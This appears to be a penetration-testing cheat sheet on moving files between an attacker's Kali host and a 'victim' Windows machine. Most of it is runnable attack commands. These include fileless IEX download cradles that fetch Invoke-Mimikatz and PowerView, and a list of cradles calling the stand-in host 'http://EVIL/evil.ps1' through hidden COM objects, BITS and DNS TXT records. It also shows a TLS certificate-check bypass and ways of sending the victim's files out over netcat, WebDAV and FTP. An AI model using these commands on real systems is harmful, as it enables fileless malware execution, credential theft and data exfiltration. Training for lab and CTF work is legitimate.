Transferring files techniques - Windows
See different techniques to set up a server in the attacking machine, probably a Kali
Quick link to resources
- [PayloadsAllTheThings: Windows download and execute methods](
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md)
Certutil
It's possible to download a file with certutil:
Download to Windows
PowerShell Base64 Encode & Decode
Upload from linux (attacker) to Windows (victim)
If we have access to a terminal, we can encode a file to a base64 string, copy its contents from the terminal and perform the reverse operation, decoding the file in the original content.
# In attacker machine, check SSH Key MD5 Hash
md5sum id_rsa
# In attacker machine, encode SSH Key to Base64
cat id_rsa |base64 -w 0;echo
# Copy output and paste it into the Windows PowerShell terminal in the victim's machine
PS C:\lala> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo="))
# Confirming the MD5 Hashes Match with Get-FileHash cmdlet
PS C:\lala> Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
More about the Get-FileHash cmdlet.
Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.
Powershell System.Net.WebClient
PowerShell offers many file transfer options. In any version of PowerShell, the System.Net.WebClient class can be used to download a file over HTTP, HTTPS or FTP.
The following table describes WebClient methods for downloading data from a resource:
| Method | Description |
|---|---|
| OpenRead | Returns the data from a resource as a Stream. |
| OpenReadAsync | Returns the data from a resource without blocking the calling thread. |
| DownloadData | Downloads data from a resource and returns a Byte array. |
| DownloadDataAsync | Downloads data from a resource and returns a Byte array without blocking the calling thread. |
| DownloadFile | Downloads data from a resource to a local file. |
| DownloadFileAsync | Downloads data from a resource to a local file without blocking the calling thread. |
| DownloadString | Downloads a String from a resource and returns a String. |
| DownloadStringAsync | Downloads a String from a resource without blocking the calling thread. |
PowerShell DownloadString - Fileless Method
# Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\lala> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
# Net.WebClient: class name
# DownloadFile: method
# Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\lala> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'PowerViewAsync.ps1')
# Net.WebClient: class name
# DownloadFileAsync: method
PowerShell DownloadString - Fileless Method
PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX.
PS C:\lala> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
IEX also accepts pipeline input.
PS C:\lala> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
PowerShell Invoke-WebRequest
From PowerShell 3.0 onwards, the Invoke-WebRequest cmdlet is also available. This cmdlet gets content from a web page on the internet. We can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
# alias: `iwr`, `curl`, and `wget`
Bypassing technique: parameter -UseBasicParsing
There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.
Bypassing technique: SSL/TLS secure channel
Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:
# With this command we get the error Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
##### To bypass it, first run
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
More downloading techniques
From Harmj0y:
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application; $ie.visible=$False; $ie.navigate('http://EVIL/evil.ps1'); start-sleep -s 5; $r=$ie.Document.body.innerHTML; $ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP; $h.open('GET','http://EVIL/evil.ps1',$false); $h.send(); iex $h.responseText
# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1; $h.open('GET','http://EVIL/evil.ps1',$false); $h.send();iex $h.responseText
# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t; $r=gc $env:temp\t; rm $env:temp\t; iex $r
# DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
# code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
# from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
<#
<?xml version="1.0"?>
<command>
<a>
<execute>Get-Process</execute>
</a>
</command>
#>
$a = New-Object System.Xml.XmlDocument
$a.Load("https://gist.githubusercontent.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt")
$a.command.a.execute | iex
SMB
The Server Message Block protocol (SMB protocol) that runs on port TCP/445 is common in enterprise networks where Windows services are running. It enables applications and users to transfer files to and from remote servers.
Simple SMBserver
From attacker machine, we can use smbserver.py:
# First, we create an SMB server in our attacker machine (linux) with smbserver from Impacket
sudo impacket-smbserver share -smb2support /tmp/smbshare
From the windows machine, the victim's, copy the File from the SMB Server
If blocked because of organization's security policies blocking unauthenticated guest access, create the SMBserver with username and password.
Simple SMBServer with authentication
From attacker machine, we can use smbserver.py:
From victim's machine, the windows one:
# mount the SMB Server with Username and Password
net use n: \\$ipServer\share /user:test test
# Copy the file
copy n:\nc.exe
FTP Downloads
Another way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.
We can configure an FTP Server in our attack host using Python3 pyftpdlib module. It can be installed with the following command:
pyftpdlib module
Configure an FTP Server in our attack host using Python3 pyftpdlib module:
Then we can specify port number 21 because, by default, pyftpdlib uses port 2121. Anonymous authentication is enabled by default if we don't set a user and password.
We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.
Upload from Windows
PowerShell Base64 Encode & Decode
Upload from Windows (victim) to linux (attacker)
In the victim's machine (windows):
# Encode File Using PowerShell
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
In the attacker's machine (Linux): We copy this content and paste it into our attack host, use the base64 command to decode it, and use the md5sum application to confirm the transfer happened correctly.
echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hosts
md5sum hosts
Powershell System.Net.WebClient
PowerShell Web Uploads
First, we launch a webserver in out attacker machine. We can use uploadserver.
# Install a Configured WebServer with Upload
pip3 install uploadserver
# Run web server
python3 -m uploadserver
From the victim's machine (windows), we will upload the file with Invoke-WebRequest:
# PowerShell Script to Upload a File to Python Upload Server
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://$ipServer:8000/upload -File C:\Windows\System32\drivers\etc\hosts
PowerShell Base64 Web Upload
Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest or Invoke-RestMethod together with Netcat.
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://$ipServer:8000/ -Method POST -Body $b64
From the attacker machine:
# We catch the base64 data with Netcat and use the base64 application with the decode option to convert the string to the file.
nc -lvnp 8000
echo <base64> | base64 -d -w 0 > hosts
SMB Uploads
When Microsoft is preventing SMB traffic, there is an alternative: running SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.
When you use SMB, it will first attempt to connect using the SMB protocol, and if there's no SMB share available, it will try to connect using HTTP.
Configuring WebDav Server
To set up our WebDav server, we need to install two Python modules, wsgidav and cheroot.
Connect to the server and the share from windows
Now we can attempt to connect to the share using the DavWWWRoot directory.
# DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server.
C:\lala> dir \\$ipServer\DavWWWRoot
# Upload files with SMB
copy C:\Users\john\Desktop\SourceCode.zip \\$ipServer\DavWWWRoot\
If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.
FTP Uploads
Run pyftpdlib, a FTP server
We will use module pyftpdlib, with the option --write to allow clients to upload files to our attack host.
Create a Command File for the FTP Client to Upload a File
Example:
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye
PowerShell Upload File
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')